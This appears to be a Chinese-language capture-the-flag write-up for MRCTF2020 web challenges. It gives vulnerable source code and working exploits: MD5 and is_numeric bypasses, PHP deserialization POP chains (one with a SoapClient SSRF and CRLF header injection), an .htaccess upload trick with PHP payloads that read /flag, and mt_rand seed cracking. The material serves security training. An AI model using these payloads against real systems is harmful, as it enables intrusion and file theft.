MRCTF2020-web MRCTF2020-web
题解 [MRCTF2020]Ez_bypass 考察:MD5强相等绕过,is_number()绕过
提供源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 I put something in F12 for you include 'flag.php' ;$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}' ; if (isset ($_GET['gg' ])&&isset ($_GET['id' ])) { $id=$_GET['id' ]; $gg=$_GET['gg' ]; if (md5($id) === md5($gg) && $id !== $gg) { echo 'You got the first step' ; if (isset ($_POST['passwd' ])) { $passwd=$_POST['passwd' ]; if (!is_numeric($passwd)) { if ($passwd==1234567 ) { echo 'Good Job!' ; highlight_file('flag.php' ); die ('By Retr_0' ); } else { echo "can you think twice??" ; } } else { echo 'You can not get it !' ; } } else { die ('only one way to get the flag' ); } } else { echo "You are not a real hacker!" ; } } else { die ('Please input first' ); } }Please input first
exp:
1 2 GET: id[]=1 &&gg[]=2 POST: passwd=1234567 a
[MRCTF2020]Ezpop 考察反序列化
提供源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php class Modifier { protected $var; public function append ($value) { include ($value); } public function __invoke () { $this ->append($this ->var); } } class Show { public $source; public $str; public function __construct ($file='index.php' ) { $this ->source = $file; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString () { return $this ->str->source; } public function __wakeup () { if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } } class Test { public $p; public function __construct () { $this ->p = array (); } public function __get ($key) { $function = $this ->p; return $function(); } } if (isset ($_GET['pop' ])){ @unserialize($_GET['pop' ]); } else { $a=new Show; highlight_file(__FILE__ ); }
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php class Modifier { protected $var='php://filter/read=convert.base64-encode/resource=./flag.php' ; public function append ($value) { include ($value); } public function __invoke () { $this ->append($this ->var); } } class Show { public $source; public $str; public function __construct ($file='index.php' ) { $this ->source = $file; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString () { return $this ->str->source; } public function __wakeup () { if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } } class Test { public $p; public function __construct () { $this ->p = array (); } public function __get ($key) { $function = $this ->p; return $function(); } } $a = new Modifier(); $b = new Show(); $c = new test(); $c->p = $a; $b->str = $c; $b->source = $b; echo serialize($b);
参考文章:https://www.cnblogs.com/fish-pompom/p/11126473.html
[MRCTF2020]套娃 考点:data伪协议,php特性
提供源码:
1 2 3 4 5 6 7 8 $query = $_SERVER['QUERY_STRING' ]; if ( substr_count($query, '_' ) !== 0 || substr_count($query, '%5f' ) != 0 ){ die ('Y0u are So cutE!' ); } if ($_GET['b_u_p_t' ] !== '23333' && preg_match('/^23333$/' , $_GET['b_u_p_t' ])){ echo "you are going to the next ~" ; }
php会将空格以及.
换成_
preg_match()
使用%0a
绕过
然后到secrettw.php
F12解码jsfuck,要我们POST
post:Merak=1
然后获得源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting(0 ); include 'takeip.php' ;ini_set('open_basedir' ,'.' ); include 'flag.php' ;if (isset ($_POST['Merak' ])){ highlight_file(__FILE__ ); die (); } function change ($v) { $v = base64_decode($v); $re = '' ; for ($i=0 ;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } echo 'Local access only!' ."<br/>" ;$ip = getIp(); if ($ip!='127.0.0.1' )echo "Sorry,you don't have permission! Your ip is :" .$ip;if ($ip === '127.0.0.1' && file_get_contents($_GET['2333' ]) === 'todat is a happy day' ){echo "Your REQUEST is:" .change($_GET['file' ]);echo file_get_contents(change($_GET['file' ])); }?>
首先ip
用Client-ip: 127.0.0.1
绕过
file_get_contents($_GET['2333']) === 'todat is a happy day'
用data伪协议绕过
然后根据解码算法写出加密算法
1 2 3 4 5 6 7 8 9 10 <?php function enc ($payload) { for ($i=0 ; $i<strlen($payload); $i++){ $re .= chr(ord($payload[$i])-$i*2 ); } return base64_encode($re); } echo enc('flag.php' ); ?>
payload:
并且Client-ip:127.0.0.1
获得flag
[MRCTF2020]你传你🐎呢 考点:.htaccess上传
上传啥都不行,然后上传.htaccess
1 2 3 4 5 <FilesMatch "txt" > SetHandler application/x-httpd-php </FilesMatch>
然后上传txt
文件
1 2 3 <script language="php" >phpinfo();</script> <script language="php" >readfile('/flag' );</script> <script language="php" >echo file_get_contents("/flag" );</script>
这个没被禁,同时file_get_contents
,这个也没有被禁
所以上传的txt文件就可以获得flag了。
[MRCTF2020]Ezaudit 考点:伪随机数漏洞
在www.zip发现源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php header('Content-type:text/html; charset=utf-8' ); error_reporting(0 ); if (isset ($_POST['login' ])){ $username = $_POST['username' ]; $password = $_POST['password' ]; $Private_key = $_POST['Private_key' ]; if (($username == '' ) || ($password == '' ) ||($Private_key == '' )) { header('refresh:2; url= ' ); echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!" ; exit ; } else if ($Private_key != '*************' ) { header('refresh:2; url=login.html' ); echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!" ; exit ; } else { if ($Private_key === '************' ){ $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'" .';' ; $link=mysql_connect("localhost" ,"root" ,"root" ); mysql_select_db("test" ,$link); $result = mysql_query($getuser); while ($row=mysql_fetch_assoc($result)){ echo "<tr><td>" .$row["username" ]."</td><td>" .$row["flag" ]."</td><td>" ; } } } } function public_key ($length = 16 ) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ; $public_key = '' ; for ( $i = 0 ; $i < $length; $i++ ) $public_key .= substr($strings1, mt_rand(0 , strlen($strings1) - 1 ), 1 ); return $public_key; } function private_key ($length = 12 ) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ; $private_key = '' ; for ( $i = 0 ; $i < $length; $i++ ) $private_key .= substr($strings2, mt_rand(0 , strlen($strings2) - 1 ), 1 ); return $private_key; } $Public_key = public_key();
考察伪随机数漏洞
,BJD2nd考察过
1 2 3 4 5 6 7 8 9 10 str1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' str2 = 'KVQP0LdJKRaV3n9D' str3 = str1[::-1 ] res = '' for i in range(len(str2)): for j in range(len(str1)): if str2[i] == str1[j]: res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1 ) + ' ' break print(res)
然后获得能被php_mt_seed
识别的数据
再爆破出key
然后就可以得出private_key
但是这里要先获得公钥,才能再获得私钥
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php mt_srand(1775196155 ); function public_key ($length = 16 ) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ; $public_key = '' ; for ( $i = 0 ; $i < $length; $i++ ) $public_key .= substr($strings1, mt_rand(0 , strlen($strings1) - 1 ), 1 ); return $public_key; } function private_key ($length = 12 ) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ; $private_key = '' ; for ( $i = 0 ; $i < $length; $i++ ) $private_key .= substr($strings2, mt_rand(0 , strlen($strings2) - 1 ), 1 ); return $private_key; } echo public_key();echo "\n" ;echo private_key();
[MRCTF2020]Ezpop_Reveng 考察:Soap_Client类,代码审计,反序列化
像这样子有CMs的一般都会有源码,www.zip
获得源码
在./usr/plugins/HelloWorld/Plugin.php
中看到注入点
然后我们找到pop链,在根目录下存在一个flag.php
可以看出,我们需要通过SSRF来获得flag,这里就需要使用到soapClient
类,所以这个pop链的结局就是,我们需要寻找一个类,使其的某个变量为soapclient
,并且该变量还会调用某个方法,为了触发soapClient
类的call
方法
在plugin.php
中
这个__wakeup()
中的Typecho_Db
对象,我们跟进一下
这里如果我们使得$adapterName
为某个类。那么就会触发那个类中的__toString()
也就是说我们要使得对象HelloWorld_DB
中的$coincidence=array('hello'=> 某个类的实例对象 )
全局搜索__toString
跟进,在类Typecho_Db_Query
中的__toString()
这里的$this->_sqlPreBuild['action']
和$this->_adapter
是可控的。
那我们可以令
1 2 $this ->_sqlPreBuild=['action' =>'SELECT' ]$this ->_adapter=SoapClient()
1 $this ->_adapter->parseSelect($this ->_sqlPreBuild);
这样就会触发SoapClient
的_call()
,以触发SSRF
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class HelloWorld_DB { private $flag="MRCTF{this_is_a_fake_flag}" ; private $coincidence; public function __construct () { $this ->coincidence = ['hello' =>new Typecho_Db_Query()]; } } class Typecho_Db_Query { private $_adapter; private $_sqlPreBuild; public function __construct () { $target = 'http://127.0.0.1/flag.php' ; $headers = array ( 'X-Forwarded-For: 127.0.0.1' , 'Cookie: PHPSESSID=11111111111111111111111111' ); $b = new SoapClient(null ,array ('location' => $target,'user_agent' =>'HyyMbb^^' .join('^^' ,$headers),'uri' => "aaab" )); $this ->_adapter=$b; $this ->_sqlPreBuild = ['action' =>'SELECT' ]; } }
参考:https://www.cnblogs.com/fish-pompom/p/11126473.html
这个时候先生成序列化的值,然后再做一些小处理 我们都知道私有变量类名的前后都有%00,但是某些特定版本的情况下,这样也会出错 这个时候我们需要将s改为S,并添加\00
,
%00
会被过滤,所以用\00
来代替
得到了
1 $aaa = 'O:13:"HelloWorld_DB":1:{S:26:"\00HelloWorld_DB\00coincidence";a:1:{s:5:"hello";O:16:"Typecho_Db_Query":2:{S:30:"\00Typecho_Db_Query\00_sqlPreBuild";a:1:{s:6:"action";s:6:"SELECT";}S:26:"\00Typecho_Db_Query\00_adapter";O:10:"SoapClient":5:{s:3:"uri";s:4:"aaab";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:15:"_stream_context";i:0;s:11:"_user_agent";s:79:"wupco^^X-Forwarded-For: 127.0.0.1^^Cookie: PHPSESSID=11111111111111111111111111";s:13:"_soap_version";i:1;}}}}' ;
然后
1 2 3 4 5 6 7 8 $aaa = 'O:13:"HelloWorld_DB":1:{S:26:"\00HelloWorld_DB\00coincidence";a:1:{s:5:"hello";O:16:"Typecho_Db_Query":2:{S:30:"\00Typecho_Db_Query\00_sqlPreBuild";a:1:{s:6:"action";s:6:"SELECT";}S:26:"\00Typecho_Db_Query\00_adapter";O:10:"SoapClient":5:{s:3:"uri";s:4:"aaab";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:15:"_stream_context";i:0;s:11:"_user_agent";s:79:"wupco^^X-Forwarded-For: 127.0.0.1^^Cookie: PHPSESSID=11111111111111111111111111";s:13:"_soap_version";i:1;}}}}' ; $aaa = str_replace('^^' ,"\r\n" ,$aaa); $aaa = str_replace('&' ,'&' ,$aaa); echo $aaa;echo "\n" ;echo base64_encode($aaa);
获得exp
1 2 3 4 C0incid3nc3=TzoxMzoiSGVsbG9Xb3JsZF9EQiI6MTp7UzoyNjoiXDAwSGVsbG9Xb3JsZF9EQlwwMGNvaW5jaWRlbmNlIjthOjE6e3M6NToiaGVsbG8iO086MTY6IlR5cGVjaG9fRGJfUXVlcnkiOjI6e1M6MzA6IlwwMFR5cGVjaG9fRGJfUXVlcnlcMDBfc3FsUHJlQnVpbGQiO2E6MTp7czo2OiJhY3Rpb24iO3M6NjoiU0VMRUNUIjt9UzoyNjoiXDAwVHlwZWNob19EYl9RdWVyeVwwMF9hZGFwdGVyIjtPOjEwOiJTb2FwQ2xpZW50Ijo1OntzOjM6InVyaSI7czo0OiJhYWFiIjtzOjg6ImxvY2F0aW9uIjtzOjI1OiJodHRwOi8vMTI3LjAuMC4xL2ZsYWcucGhwIjtzOjE1OiJfc3RyZWFtX2NvbnRleHQiO2k6MDtzOjExOiJfdXNlcl9hZ2VudCI7czo3OToid3VwY28NClgtRm9yd2FyZGVkLUZvcjogMTI3LjAuMC4xDQpDb29raWU6IFBIUFNFU1NJRD0xMTExMTExMTExMTExMTExMTExMTExMTExMSI7czoxMzoiX3NvYXBfdmVyc2lvbiI7aToxO319fX0= PHPSESSION=11111111111111111111111111
访问page_admin
因为我们的soapClient
的PHPSESSION=11111111111111111111111111
修改session